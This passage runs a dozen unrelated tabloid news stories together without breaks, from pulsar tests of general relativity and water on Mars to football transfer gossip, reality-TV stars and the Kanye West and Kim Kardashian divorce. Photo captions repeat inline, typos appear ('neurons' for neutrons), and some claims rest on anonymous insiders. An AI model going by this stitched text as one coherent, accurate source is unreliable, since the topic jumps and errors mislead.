speed of light, there are a bunch of photons surrounding the gold nucleus, traveling with it like a cloud,' Xu added. Advertisement 'Never before has such an experiment been conducted at such a high spacetime curvature.' Prof Dick Manchester from Australia's national science agency, CSIRO, said such fast orbital motion of compact objects - about 30 per cent more massive than the sun, despite being only 24km across - allows for multiple gravity theories to be tested. 'Apart from gravitational waves and light propagation, our precision allows us also to measure the effect of 'time dilation' that makes clocks run slower in gravitational fields,' said Prof Manchester. 'We even need to take Einstein's famous equation E = mc2 into account when considering the effect of the electromagnetic radiation emitted by the fast-spinning pulsar on the orbital motion. 'This radiation corresponds to a mass loss of 8 million tonnes per second! While this seems a lot, it is only a tiny fraction - 3 parts in a thousand billion billion(!) - of the mass of the pulsar per second.' They were also able to measure, with a precision of one part in a million, that the orbit changes its orientation. This is a relativistic effect also well known from the orbit of Mercury, but here is an incredible 140,000 times stronger. They realised that at this level of precision they also need to consider the impact of the pulsar's rotation on the surrounding spacetime, which is 'dragged along' with the spinning pulsar. Dr Norbert Wex from the MPIfR, another main author of the study, said: 'Physicists call this the Lense-Thirring effect or frame-dragging. In our experiment it means that we need to consider the internal structure of a pulsar as a neutron star. 'Hence, our measurements allow us for the first time to use the precision tracking of the rotations of the neutron star, a technique that we call pulsar timing to provide constraints on the extension of a neutron star.' They combined pulsar timing techniques with careful measurements of the star system. This let them determine its distance with high resolution imaging. This allowed them to determine it is 2400 light years away from Earth, with only eight per cent error margin. Paulo Freire, also from MPIfR, said: 'Our results are nicely complementary to other experimental studies which test gravity in other conditions or see different effects, like gravitational wave detectors or the Event Horizon Telescope. 'They also complement other pulsar experiments, like our timing experiment with the pulsar in a stellar triple system, which has provided an independent and superb test of the universality of free fall.' Prof Kramer added: 'We have reached a level of precision that is unprecedented. Future experiments with even bigger telescopes can and will go still further. 'Our work has shown the way such experiments need to be conducted and which subtle effects now need to be taken into account. And, maybe, we will find a deviation from general relativity one day.' The findings have been published in the journal Physical Review X. The Europe Space Agency (ESA) announced on Wednesday that it has found 'significant amounts of water' hiding in Mars's Grand Canyon. The discovery was made by the ExoMars Trace Gas Orbiter (TGO), which spotted the water just three feet below the surface of the Valles Mariners a massive canyon system that stretches more than 2,400 miles across the dusty Martian landscape. The water-rich area is about the size of the Netherlands and overlaps with the deep valleys of Candor Chaos, part of the canyon system considered promising in the hunt for water on Mars. 'We found a central part of Valles Marineris to be packed full of water far more water than we expected,' Alexey Malakhov, also of the Space Research Institute of the Russian Academy of Sciences and co-author of the study, said in a statement. 'This is very much like Earth's permafrost regions, where water ice permanently persists under dry soil because of the constant low temperatures.' Scroll down for video The Europe Space Agency (ESA) announced on Wednesday that it has found 'significant amounts of water' hiding in Mars's Grand Canyon The first evidence of water on Mars was released by NASA in 2006 photos of two craters called Terra Sirenum and Centauri Montes which appear to show the presence of liquid water on Mars at some point between 1999 and 2001. On July 31, 2008, NASA's Phoenix Mars lander confirmed the presence of water ice on Mars, which contains the same elements as the water we have on Earth, and is not another form of ice. The red planet features several ancient dried out valleys and river channels which have long pointed towards the possibility of liquid water once flowing there. And NASA's Perseverance is currently trekking across Mars to explore Jezero Crater that was a lake filled with water some 3.5 billion years ago. The discovery was made by the ExoMars Trace Gas Orbiter (TGO), which spotted the water just three feet below the surface of the Valles Mariners a massive canyon system that stretches more than 2,400 miles across the dusty Martian landscape The first evidence of water on Mars was released by NASA in 2006 photos of two craters called Terra Sirenum and Centauri Montes which appear to show the presence of liquid water on Mars at some point between 1999 and 2001 Water has been found on Mars, but only observed as ice stored in the polar cap or deep in the ground. However, the recent discovery is one of the first to look for water closer to the surface. Igor Mitrofanov of the Space Research Institute of the Russian Academy of Sciences in Moscow, Russia and lead author of the new study, said in a statement: 'With TGO we can look down to one meter below this dusty layer and see what's really going on below Mars' surface and, crucially, locate water-rich 'oases' that couldn't be detected with previous instruments.' The discovery was made by the orbiter's FREND instrument (Fine Resolution Epithermal Neutron Detector). The water-rich area is about the size of the Netherlands and overlaps with the deep valleys of Candor Chaos, part of the canyon system considered promising in the hunt for water on Mars The orbiter will be joined in 2022 by a European rover, Rosalind Franklin, and a Russian surface platform, Kazachok, and all will work together to understand whether life has ever existed on Mars Researchers analyzed FREND observations from May 2018 to February 2021, allowing them to map the hydrogen content of Mars' soil by detecting neutrons rather than light. This is because when soil is hit by high-energy cosmic rays, it emits neutrons, with dry soil emitting more neutrons than wet soil. The neurons help guide scientists to where water may lurking in the soil. 'FREND revealed an area with an unusually large amount of hydrogen in the colossal Valles Marineris canyon system: assuming the hydrogen we see is bound into water molecules, as much as 40 percent of the near-surface material in this region appears to be water,' said Mitrofanov. The scientists are not sure if the water beneath the surface is in the form of ice or is chemically bound to other minerals in the soil The scientists are not sure if the water beneath the surface is in the form of ice or is chemically bound to other minerals in the soil. 'Overall, we think this water more likely exists in the form of ice,' Mitrofanov said. TGO launched in 2016 as the first of two launches under the ExoMars program. The orbiter will be joined in 2022 by a European rover, Rosalind Franklin, and a Russian surface platform, Kazachok, and all will work together to understand whether life has ever existed on Mars. Chelsea owner Roman Abramovich is furious with Real Madrid for going after Antonio Rudiger and could now pull the plug on any potential deal to bring Eden Hazard back to Stamford Bridge, according to reports in Spain. Rudiger, 28, is set to enter the final six months of his current Blues contract and does not appear close to penning an extension. As a result, the Germany centre-back will be able to secure a free move abroad at the turn of the year - and he has already entered initial talks with Madrid. Chelsea owner Roman Abramovich is furious with Real Madrid for going after Antonio Rudiger Madrid are in talks to sign Rudiger, meaning Abramovich could now snub a deal for Eden Hazrd The Spanish giants are understood to have been in discussion with his brother and agent Sahr Senesie in recent weeks, with both parties coming to an informal agreement. According to El Nacional, Madrid's pursuit of Rudiger has not gone down well with Abramovich, who is ready to walk away from negotiations over Hazard as a result. It is believed he has been entertaining the idea of an emotional return for the Chelsea legend of late, which was music to Florentino Perez's ears given their desperation to move him on as soon as possible. Hazard has failed to live up to expectations since securing a 130million switch to the Bernabeu in 2019, largely as a result of injury. Hazard's Madrid stint has been plagued by injury since he sealed a 130m move from Chelsea Approaching the the halfway stage of his third season in Real colours, he has still only racked up a total of 40 La Liga appearances for the club. Despite his struggles, Abramovich appeared keen on bringing Hazard, who scored 110 goals in 352 games for Chelsea, back to west London at some point next year. However, should Madrid manage to lure Rudiger to the Spanish capital, the Blues chief may well decide to snub a deal for Hazard out of spite. Abramovich is also understood to be unhappy with Rudiger himself, as the defender has only not signed an extension after receiving more lucrative offers from Madrid and Bayern Munich. Everton forward Richarlison has admitted manager Rafael Benitez was right to substitute him during Sunday's defeat at Crystal Palace. The decision was greeted with outright animosity from travelling fans towards the former Liverpool boss, who after the match revealed the Brazil international had a calf problem. Richarlison's reaction at the time did not help matters but the player has subsequently said the manager was right. Richarlison (right) admitted Rafael Benitez (centre) was right to substitute him on Sunday 'It was frustrating I couldn't stay on the pitch against Crystal Palace but Rafa did the right thing for me and for the team,' he told the club's official website. 'I wasn't able to play at my maximum capacity because of the issue with my calf and if I stayed on I would have done more damage and, probably, faced a longer period out of the team. 'I understand the manager was trying to protect me.' After the defeat to Crystal Palace, Benitez revealed the Brazilian had sustained a calf issue Benitez said it was important for everyone to stick together during a run of one win in 10 matches. 'The conversation I had with him was clear, he recognised he wanted to be on the pitch but he understood we wanted to do the best for him,' said the Spaniard. 'We wanted to protect him. We were trying to do the best for the team. 'I was talking today with some senior players and everyone understands it is important to stick together.' Benitez had planned to restore left-back Lucas Digne, dropped for two games after a fall out, to the starting line-up for the trip to Chelsea but the France international reported ill on Wednesday morning and will not be available. Amy Childs and beau Billy Delbosq are planning to spend Christmas together in TOWIE's Christmas special which airs on Wednesday. The glamorous stars of the reality show will gather round this festive season to spread cheer and sharing gifts. Amy and Billy announced they were officially together back in October with a snap on Instagram. Happier than ever! Amy Childs and beau Billy Delbosq are planning to spend Christmas together in TOWIE's Christmas special which airs on Wednesday Elsewhere in the special episode, Chloe Sims pulls out all the stops to get Pete Wicks into the Christmas spirit. While her and James Locke volunteer with charity Age UK to spend time with the elderly this festive season. Chloe Brockett has been working away in her business workshop. Anticipated: The glamorous stars of the reality show will gather round this festive season to spread cheer and sharing gifts Christmas time! Elsewhere in the special episode, Chloe Sims pulls out all the stops to get Pete Wicks into the Christmas spirit Festive: Amy and Billy announced they were officially together back in October with a snap on Instagram Amber Turner will be on hand to give Chloe the bonus she deserves with a double helping of Christmas surprises. Diags Christmas wish may have come true as hes visited by his very own Angel Bo Stanley, and it is still yet to be confirmed whether there will be a second date on the cards. The group pulled out all the stops while filming the episode, with the crew donning their glad rags. Fun! Chloe takes Pete to a Christmas shop so they can get into the spirit together Helping out: While her and James Locke volunteer with charity Age UK to spend time with the elderly this festive season Busy: Chloe Brockett has been working away in her business workshop Friends: Amber Turner will be on hand to give Chloe the bonus she deserves with a double helping of Christmas surprises It was announced earlier this year that a slew of TOWIE stars would be getting axed from the reality show. Courtney Green and Chloe Meadows were the biggest casualties in the ITVBe show's mass cull that saw 10 cast members axed. However, the best friends were back for the festive special of their former show and both wowed in white. Love? Diags Christmas wish may have come true as hes visited by his very own Angel Bo Stanley, and it is still yet to be confirmed whether there will be a second date on the cards Eeek: Last week it was reported that Liam 'Gatsby' Blackwell and Dani Imbert (pictured) had parted ways - only weeks after making their relationship official Last week it was reported that Liam 'Gatsby' Blackwell and Dani Imbert had parted ways - only weeks after making their relationship official. Yet a representative for Gatsby told MailOnline of split rumours: 'This is totally untrue. Liam and Dani are very much together.' The Only Way Is Essexmas, Wednesday at 9pm on ITVBe and ITV Hub Reece Hawkins is continuing his jet-setting adventures following his botched family holiday with wife London Goheen and nine-month-old son Stone. Hawkins, 26, who is the ex-fiance of Gold Coast influencer Tammy Hembrow, recently spent time in Switzerland without his 23-year-old wife, after she was turned away at the border for being unvaccinated against Covid-19. While Texas-born Goheen was forced to return home to the U.S. with baby Stone, her Australian husband continued his Swiss vacation, before jetting to Mexico this week. Bon voyage! Reece Hawkins (pictured) is continuing his jet-setting adventures following his botched family holiday with wife London Goheen and nine-month-old son Stone Posting to Instagram Stories on Wednesday, the father of three shared a video of himself drinking coffee with a group of friends at a beachside hotel in Tulum. 'Business as usual for the team [coffee cup emoji],' he wrote next to the clip. It's unclear whether Hawkins travelled to Mexico for work, or to simply luxuriate in paradise with his mates. Botched family trip: Texas-born influencer London Goheen (left) and her nine-month-old son Stone (centre) were last week turned away at the Swiss border because she was unvaccinated, so Hawkins continued travelling without them From Tulum, with love: While Goheen was forced to return home to the U.S. with baby Stone, her Australian husband continued his Swiss vacation, before jetting to Mexico this week 'Business as usual for the team': Posting to Instagram on Wednesday, the father of three shared a video of himself drinking coffee with a group of friends at a beachside hotel in Tulum Hawkins was also pictured with a male pal on the beach in Tulum on Wednesday. The post, which was uploaded by one of Hawkins' friends, was captioned: 'Double trouble! Sometimes all you need is your pack complete and some Caribbean vibes.' It comes after new details emerged about Hawkins and Goheen's botched family holiday to Switzerland. 'Sometimes all you need is your pack complete': Hawkins (left) was also pictured with a male pal (right) on the beach in Tulum on Wednesday Hawkins had been travelling in Switzerland for some time when Goheen planned to visit him with their baby Stone last week. However, these plans combusted when Goheen was turned away at the border for being unvaccinated against Covid-19. Switzerland recently imposed new rules restricting unvaccinated travellers from entering the country in response to the Omicron variant. Abroad: Hawkins had been travelling in Switzerland for some time when his Texas-born wife Goheen planned to visit him with their baby Stone last week About two-thirds of the Swiss population are fully vaccinated against coronavirus, and Covid patients make up 34 per cent of those in intensive care. Hawkins had managed to enter the country despite also being unvaccinated because the rules hadn't yet taken effect when he crossed the border. Rather than leaving the country after learning his wife and child would not be joining him, Hawkins continued his whirlwind trip around Switzerland, leaving Goheen and Stone to fly back to their home in America without him. Family: These plans combusted when Goheen was turned away at the border for being unvaccinated against Covid-19 After arriving back in the United States, Goheen told fans she was 'exhausted, sleep deprived and had been crying all day' in an emotional Instagram Story. The bikini model said she'd booked her flight to Switzerland before the new vaccination laws were announced, and that she and Stone had travelled for 14 hours only to see Hawkins for two hours under police supervision. The circumstances surrounding Hawkins and Goheen's trip were discussed on Monday's episode of the Outspoken podcast, with co-host Kate Taeuber expressing little sympathy for the unvaccinated couple. Upset: After arriving back in the United States, Goheen told fans she was 'exhausted, sleep deprived and had been crying all day' in an emotional Instagram Story 'It's hard not to feel sorry for baby Stone who has been dragged into all of this. But, to me, there's a very obvious solution to this issue,' Kate said. 'If you want to jet-set around the world, get vaccinated. Not only can you travel, but you're also protecting yourself and others from Covid. It all seems a little bit rich to complain about this situation.' Co-host Amy Taeuber agreed, pointing out that Hawkins' decision to continue travelling 'is really not a good look off the back of him leaving Australia and his two children that he shares with Tammy Hembrow behind'. 'The longest two days ever': The bikini model said she'd booked her flight to Switzerland before the new vaccination laws were announced, and that she and Stone had travelled for 14 hours only to see Hawkins for two hours under police supervision Stressed: Goheen described the ordeal as 'stressful' and 'emotional' in an Instagram Story post New law: In another Instagram Story post, Goheen explained to fans why Hawkins was able to enter Switzerland despite being unvaccinated, while she and Stone were turned away Hembrow and Hawkins were in a relationship for five years before splitting in 2018 and share son Wolf, six, and daughter Saskia, five. Hawkins raised eyebrows last week after sharing a gallery of idyllic Instagram photos of himself enjoying his trip to Switzerland, confirming he was travelling alone. Goheen commented beneath the post, 'I love you', to which her husband responded: 'Miss you. Love you.' What a view! Hawkins raised eyebrows last week after sharing a gallery of idyllic Instagram photos of himself enjoying his trip to Switzerland, confirming he was travelling alone 'Miss you': Goheen commented beneath the post, 'I love you', to which her husband responded: 'Miss you. Love you' Goheen added: 'Ps you're sooo hot & I'm so lucky ilysm [I love you so much].' Last month, Hembrow appeared to confirm she has sole custody of the children she shares with Hawkins. During an Instagram Q&A, the Queensland businesswoman was asked if she looks after her children full-time after her ex-fiance relocated to the U.S. in July. 'Do you look after Wolf and Sass full-time now?' the fan asked, to which Tammy simply responded: 'Yes.' Single mum: Last month, Tammy Hembrow (centre) appeared to confirm she has sole custody of Wolf (left) and Saskia (right), the two children she shares with her ex-fiance Hawkins The Rich Lister also spoke about raising her two young children, saying: 'My kids are quite a good age, and actually really well-behaved.' 'I'll bring Sass to a lot of my [work] meetings when Wolf is at school as she only goes a couple of days a week. Also having family around to help. My mum will help babysit.' Hawkins and Goheen, who previously lived together on the Gold Coast but now reside in the U.S., married in December last year. Former Bachelor star Laura Byrne is already a proud mum of two young children. But the 35-year-old may not be done with having kids just yet, as she told a follower on Instagram she's open to expanding her family. When asked by a fan if she's planning on having more kids, Laura excitedly responded: 'Depends on the day!' Clucky: Former Bachelor star Laura Byrne has opened up about potentially having more kids She continued: 'Actually depends on the exact moment of the day. If you ask me post toddler meltdown, I'd say no. 'All other times it's a yes!' Laura and Matty 'J' Johnson welcomed their second child, a baby girl named Lola Ellis, in February. But in May, the couple revealed they weren't rushing to have any more children, and were instead prioritising their wedding. Baby joy: When asked if she's planning on having more kids, Laura said it 'depends on the day' 'No more babies until we get married!' the jewellery designer told Who magazine. The reality TV lovebirds, who got engaged in April 2019, are also parents to older daughter Marlie-Mae, who is two. Laura is currently focused on being a mum and hosting her hit podcast, Life Uncut, with fellow Bachelor star Brittany Hockley. The pair were big winners at the Australian Podcast Awards this month, taking home the Listeners' Choice award for the second year in a row. Family: Laura and Matty 'J' Johnson welcomed their second child, a baby girl named Lola Ellis, in February, and are also parents to older daughter Marlie-Mae They also picked up a bronze in The Spotlight Award too, making them double winners. 'Lifers you guys made this happen! You are the bees knees, the cats pyjamas, the ice in our drinks (and boy did we have a lot of them last night),' the pair wrote on their official Instagram account. 'A huge congratulations to all the pods who were nominated last night, and all the incredible content you make! What a night!' The pair, who launched their podcast Life Uncut in 2019, have gone on to find success and build a supportive community online as they tackle everything from dating advice to friendship woes to their everyday hilarious antics. Flavor Flav was involved in a car accident driving through California's La Tuna Canyon Tuesday, when his white Audi was hit by a boulder during a rainstorm. The 62-year-old rapper told TMZ that 'God is good' and that he 'came very close to death but is super grateful to be alive' in the wake of the incident, which occurred as he was driving from Las Vegas to Los Angeles. A rep for the rapper said that the front right side of his car was struck by the falling boulder, which caused him to lose control of the car before he was able to get to the side of the road while avoiding further injury. The latest: Flavor Flav, 62, was involved in a car accident driving through California's La Tuna Canyon Tuesday, when his white Audi was hit by a boulder during a rainstorm. He was seen in LA in 2019 Images taken at the scene of the accident showed that the rapper could have been killed had the boulder hit a few inches closer to his side of the car. AAA Roadside Assistance arrived to the scene - in which his vehicle was totaled - and towed it away, according to the outlet. The rapper is 'a bit emotionally shaken up,' but physically OK, his rep told Page Six, adding, 'Thank God he survived.' The rapper was in the headlines earlier this month after he entered a no contest plea to coercion in connection with an October 5 incident in Henderson, Nevada in which he was arrested on a misdemeanor charge of domestic battery. The rapper was driving from Las Vegas to Los Angeles in the incident. He was snapped in Las Vegas last month The rapper was seen at the Grammys in LA in January of 2020 Authorities said in a criminal complaint that the rapper threw a woman down and took a phone out of her hand. The domestic battery charge was subsequently dropped, and the rapper paid a $640 fine over the coercion charge, according to TMZ. 'Today the domestic violence charge against Mr. William Drayton (Flavor Flav) was dismissed,' his lawyers David Chesnoff and Richard Schonfeld told the outlet. 'Mr. Drayton acknowledged the nonviolent act of grabbing a phone during the incident in question, a misdemeanor, and the case was closed by the court. 'Mr. Drayton and his family are grateful to bring an amicable close to this matter and appreciate everyone's support as he continues his one-year journey of sobriety.' TV presenter Rebecca Maddern has attacked Queensland Health's decision to force all passengers from two Virgin flights to spend Christmas in self-isolation, after the planes were declared high-risk Covid exposure sites. The Ninja Warrior host, 44, came out swinging against authorities in a scathing Instagram post on Wednesday, questioning the state's harsh quarantine rules as she anxiously prepares to fly from Melbourne to Queensland later this month. She shared a screenshot of a news article confirming passengers were required to isolate for 14 days regardless of a negative result, and wrote on Instagram: 'So Queensland isn't really open at all.' Not impressed: TV presenter Rebecca Maddern (left, with Ben Fordham) has attacked Queensland Health's decision to force all passengers from two Virgin flights to spend Christmas in self-isolation, after the planes were declared high-risk Covid exposure sites 'Passengers have been flying between Sydney and Melbourne for weeks - has there been a massive issue? No. Why is Queensland 14 days iso for a close contact,' she added. 'In Victoria, it's 10 days iso if you're Covid positive!' Maddern, who lives in Melbourne, went on to share her own fears that she may not be able to visit her father in Queensland in the coming weeks. 'Is this personal? Yes,' she said. 'I haven't seen my dad for 18 months. Due to fly out soon. 'So many people are very anxious today and I feel for the people on those planes.' Furious: The Ninja Warrior host, 44, came out swinging against authorities in a scathing Instagram post on Wednesday, questioning the state's harsh quarantine rules as she anxiously prepares to fly from Melbourne to Queensland later this month Christmas is over: Monday's Virgin flight VA1105 from Newcastle to Brisbane was declared a close contact exposure site by Queensland Health, just hours after the state's hard border with New South Wales finally came down. An infectious person then flew on a connecting flight from Brisbane to Townsville onboard flight VA375 (stock image) On Tuesday evening, Queensland Health said passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of the positive case and will need to isolate until December 27, ruining Christmas. Anyone at Brisbane Airport's domestic departures terminal on Monday, December 13, from 12.15pm to 2.05pm is a casual contact and should monitor for symptoms. There is concern the positive case on the flight from Newcastle could be linked to the nightclub cluster in the NSW city, where around 150 people have already tested positive to what is believed to be the Omicron variant. Queensland Health said it will provide more information on the positive case on Wednesday. Quit: Maddern confirmed late last month she had walked away from Channel Nine after almost six years at the network. She is rumoured to be joining the 7News Melbourne team next year Maddern made headlines last month after she decided to leave Channel Nine after five and a half years at the network. She is rumoured to be joining the 7News Melbourne team next year. The Herald Sun reported on Saturday that she will join Seven stalwart Mike Amor to co-host the weekend news bulletin in early 2022. Redesigns and changes are being made to the Melbourne studio and news desk to accommodate a two-anchor team. Bindi Irwin took her baby daughter Grace Warrior, eight months, to meet a baby koala for the first time on Tuesday. The Wildlife Warrior, 23, shared some adorable images of the moment on Twitter and said the encounter 'made her heart happy'. The sweet pictures were taken at the Irwin family's Australia Zoo. Too cute! Bindi Irwin took her baby daughter Grace Warrior, eight months, to meet a baby koala for the first time on Tuesday 'Koala joey meeting our joey makes my heart happy,' Bindi wrote alongside the sweet snaps, adding a love heart emoji. In the images, Bindi and her husband Chandler Powell, 25, smile as they hold Grace up to a koala joey sitting on a branch. 'Cute family photo,' one fan commented underneath. Happy snaps: In the images, Bindi and her husband Chandler Powell, 25, smile as they hold Grace up to a koala joey sitting on a branch 'Koala joey meeting our joey makes my heart happy,' Bindi wrote, adding a love heart emoji Another added: 'A cute koala and the most adorable baby on earth. Honestly, Bindi, I don't know how you and Chandler manage to deal with all that sweetness.' Bindi and Chandler announced their daughter's birth on March 26, just a day after she was born on their first wedding anniversary. Bindi first met Chandler in 2013, when the young American wakeboarder went on a guided tour of Australia Zoo in Queensland. New addition: Bindi and Chandler announced their daughter's birth on March 26, just a day after she was born on their first wedding anniversary It comes after the couple revealed Grace's first world in an interview with Who magazine last month. They said the child's first word was 'da', short for 'dada' or 'daddy'. 'Hearing her say "Da" and look at me was the highlight of my life. Nothing compares at all,' Chandler added. Just a day after it was reported that Kim Kardashian West will not be swayed by a counseling or reconciliation effort, it has been claimed that Kanye West is still not giving up. But it seems like his public pleas for reconciliation have fallen upon deaf ears. A source close to the 44-year-old rapper told People on Tuesday that his marriage and family are 'important' and that he's a family man whose 'love and commitment' to Kim, 41, and kids 'will never change'. The insider explained: 'He's not giving up without a fight. Kim is the mother of his children and he's not going to just let that go. Scroll down for video 'He's not giving up without a fight': A source close to Kanye West (seen in San Bernardino on Sunday) told People on Tuesday that his marriage and family are 'important' and that he's a family man whose 'love and commitment' to Kim, 41, and kids 'will never change' Run right back: In recent weeks, Kanye has made multiple public pleas for forgiveness from the mother of his four children including posting this onto his Instagram Story last month 'No matter if they're husband and wife, they'll always support each other. Her recent filing or any filing for that matter doesn't mean he's going to stop fighting to win her back.' In recent weeks, Kanye has made multiple public pleas for forgiveness from the mother of his four children including during his Free Larry Hoover concert with Drake in Los Angeles last week. However it hasn't seemed to change anything as a source close to Kim told E! News on Tuesday that she 'tries not to pay attention' to his appeals to rekindle the flame and that she tries to 'ignore it when he does this.' Ouch: However it hasn't seemed to change anything as a source close to Kim told E! News on Tuesday that she 'tries not to pay attention' to his appeals to rekindle the flame and that she tries to 'ignore it when he does this' Kim does try to have some empathy as according to the insider she understands her former romantic partner 'wears his heart on his sleeve and says exactly what he wants to say.' 'Nobody is going to stop him,' the insider told E!. 'and Kim knows that.' Just a day previously, TMZ obtained documents where the billionaire beauty boss admitted their union was unsalvageable despite his grandious displays for forgiveness and to win her back. 'No counseling or reconciliation effort will be of any value at this time,' the court documents state. 'Irreconcilable differences have existed and continue to exist between [Kanye] and me, which have caused our marriage to irretrievably break down.' Throwing shade: Just a day previously, TMZ obtained documents where the billionaire beauty boss admitted their union was unsalvageable despite his grandious displays for forgiveness and to win her back; seen at the People's Choice Awards last week Kim filed to be legally single and have her maiden name restored in documents registered on Friday, and is patiently awaiting a judge to sign off on the paperwork to designate her a single woman. The Keeping Up with the Kardashians star added: 'I have been attempting to settle our dissolution with [Kanye] since I filed for divorce in February 2021. 'I have requested several times that [Kanye] agree to bifurcate and terminate our marital status. [He] has not responded to my request.' '[Kanye] and I both deserve the opportunity to build new lives. Therefore, I am asking that my request to bifurcate and terminate our marital status be granted.' Yikes: Kanye has been on a public media bonanza, begging for Kim to return to their marital commitment on multiple occasions; seen in 2020 Runaway: Kardashian, 41, filed the legal documents on Friday which will make her legally a single woman if signed off by a judge, as she is seen with West in February 2020 Just last week, Kanye begged for Kim to 'run right back to me' amid their divorce during a Free Larry Hoover concert on Thursday which she attended. Perhaps the most interesting thing to note in the recent filing is that Kim wants her maiden name restored, which means dropping West from her moniker despite her businesses, like KKW Beauty and KKW fragrance, using her married initials. The legal move is asking the judge to separate the issues of child custody, property, and financial implications from actual marital status. As Kim has enlisted celebrity attorney Laura Wasser, the decision to separate marital status from other issues not out of the ordinary for the lawyer who has worked with plenty of celebrity clientele. Dedication: Hours earlier, Kim was in attendance at 44-year-old Kanye and Drake's highly-anticipated concert for the Free Larry Hoover movement at Los Angeles Memorial Coliseum Message sent: She was in the crowd when Ye raised eyebrows by performing an adlibbed verse to his hit Runaway specifically aimed at her He sang: 'I need you to run right back to me. More specifically, Kimberly' More than anything it allows anyone who is in the process of getting divorced to get on with their lives in being single and hash out other issues at a different time. Hours before her filing, Kim was in attendance at 44-year-old Kanye and Drake's highly-anticipated concert for the Free Larry Hoover movement at Los Angeles Memorial Coliseum. She was in the crowd when Ye raised eyebrows by performing an adlibbed verse to his hit Runaway specifically aimed at her. He sang: 'I need you to run right back to me. More specifically, Kimberly.' Pals again: No word yet if Kanye knew about the legal filing before it was made but he did look happy to be reunited with 35-year-old Drake in behind the scenes images from the concert as they proved their years-long feud was over Moving on: Kim was seen leaving the concert with their eldest child North No word yet if Kanye knew about the legal filing before it was made but he did look happy to be reunited with 35-year-old Drake in behind the scenes images from the concert as they proved their years-long feud was over. The latest public plea for her to take him back has not seemed to work on Kardashian as a source told People on Friday that the SKIMS mogul 'has moved on' but 'she knows it's difficult for Kanye to deal with. 'She isn't surprised that he pleads in public for her to run back to him. She is just trying to be respectful about it.' Just weeks ago Ye made a similar public plea as famously said that God will reunite him and estranged wife Kim as he admitted he'd made 'mistakes' in his marriage while serving meals at the LA Mission for Thanksgiving. 'Weve made mistakes. Ive made mistakes': Just weeks ago Ye made a similar public plea as famously said that God will reunite him and estranged wife Kim as he admitted he'd made 'mistakes' in his marriage while serving meals at the LA Mission for Thanksgiving 'The narrative God wants is to see that we can be redeemed in all these relationships,' the Grammy-winner said. 'Weve made mistakes. Ive made mistakes' 'The narrative God wants is to see that we can be redeemed in all these relationships,' the Grammy-winner said. 'Weve made mistakes. Ive made mistakes.' He continued: 'Ive publicly done things that were not acceptable as a husband, but right now today, for whatever reason - I didnt know I was going to be in front of this mic - but Im here to change the narrative.' Kanye spoke out on the status of the relationship as Kardashian's new romance with Pete Davidson continues to make headlines. Kanye, referencing the Kardashian family's reality TV franchise, told those in attendance, 'I'm not letting E! write the narrative of my family. I'm not letting Hulu write the narrative of my family I am the priest of my home.' Hot new couple! Kim is romantically linked to Saturday Night Live funnyman Pete Davidson as they are seen together last month West, who shares four children with Kardashian - North, eight, Saint, five, Chicago, three, and Psalm, two - said that parenting remains his most important priority amid the tumultuous time. 'I have to be next to my children as much as possible,' he said. 'So, when I'm out the house, I've got a house right next to the house. I'm doing everything to be right next to the situation.' The Grammy-winner added, 'I'm trying to express this in the most sane way, the most calm way possible, but I need to be back home.' Kim and Kanye wed at the Forte di Belvedere in Florence in 2014, where Kim donned a fitted gown with delicate white lace, custom-made by Givenchy Haute Couture. A source confirmed to DailyMail.com in February that Kim has filed for divorce. 'The split is amicable and there is no drama,' the insider shared at the time. Kim is asking for joint legal and physical custody of their four young children. It was claimed that neither will contest their prenup. Family matters: West, who shares four children with Kardashian - North, eight, Saint, five, Chicago, three, and Psalm, two - said that parenting remains his most important priority amid the tumultuous time, as the family are seen in 2019 The tension reportedly started in July 2020 when Kanye decided to run for President of the United States and claimed he wanted North aborted but Kim refused. He also called Kim's mother Kris Jenner 'Kris Jong Un.' A source previously told People that Kim and Kanye's marriage 'has been broken for a long time.' 'Kim feels like she has done everything she can to save it. Filing for divorce is something she has been thinking about for a long time. She has also been dreading it. She really, really has done everything to avoid filing. Throwback: Kim and Kanye wed at the Forte di Belvedere in Florence in 2014, where Kim donned mermaid-silhouette gown that featuring delicate white lace was custom-made by Givenchy Haute Couture 'Last year, she hoped they could somehow work things out,' they added. 'In the past few weeks though, it has been clear that they are done. Although, there is still love, they are just too different and have different visions for the future.' No doubt it will take some time to figure out how the assets will be split between the two parties. Kim and Kanye purchased their Hidden Hills residence for $20 million in 2014, but did not move in until 2018 after investing $40 million in renovations. An insider revealed to Page Six earlier this year that Kim reportedly owns the land, but Kanye owns the actual house. Regardless of the monetary situation regarding the properties, Kanye does not have to worry so much about cash as in April he was officially declared a billionaire. Moving on: Kim officially filed for divorce in February following months of rumors surrounding the state of their marriage, as the former couple are seen at the Met Gala in May 2019 Uh oh: The tension reportedly started in July 2020 when Kanye decided to run for President of the United States and claimed he wanted North aborted but Kim refused. He also called Kim's mother Kris Jenner 'Kris Jong Un' A Forbes Magazine article published on April 23 revealed how the rapper recently provided documents to the publication, giving them an 'authentic numeric look into Kanye, Inc.' to prove the feat. However, the article notes that West was left unhappy with their research and findings - stating that he believes his net worth to be around $3.3 billion, rather than the $1.26 billion they have estimated. 'It's not a billion,' West allegedly texted the publication Thursday night. 'It's $3.3 billion since no one at Forbes knows how to count.' Kardashian also achieved billionaire status as in April she was named 2674th on the list of Forbes Billionaires. Married At First Sight star Stacey Hampton is giving fans an early Christmas present by slashing the price of her OnlyFans subscription. The single mother of two shared a racy photo on Instagram on Tuesday of herself posing by a hotel pool while wearing a skimpy lavender bikini. She seductively ran her hands through her hair and cast a sultry gaze for the camera. Come one, come all! Married At First Sight star Stacey Hampton is giving fans an early Christmas present by slashing the price of her OnlyFans subscription 'Three day sale! Exclusive content I don't post,' she captioned the post. She put a large animated love heart over her body, reminding fans they'll have to pay to see more of her. The MAFS Australia alum, 27, joined the adult website in May, and usually charges $13.99 per month. Hot, hot, hot: She joined the adult website in May, and usually charges $13.99 per month However, she hinted at a price rise in November. According to her OnlyFans bio, Stacey offers a smorgasbord of services for her subscribers, including 'exclusive content' and the ability to chat with her '24/7'. Her profile currently has 153 posts and 9.8K 'likes', which suggests she is willing to go above and beyond when it comes to delivering regular content. Overachiever: According to her OnlyFans bio, Stacey offers a smorgasbord of services for her subscribers, including 'exclusive content' and the ability to chat with her '24/7' Stacey's adult venture comes after she admitted she was struggling to find work as a lawyer due to her responsibilities as a single parent. 'If I did five days a week [working as a lawyer] then I feel like I'm not being fair on my children and I'm not there for them,' she explained in a YouTube video last year. Stacey said that being a single mum had impacted both her career and dating life because her sons, Kosta and Kruz, always come first. Too busy: It comes after she 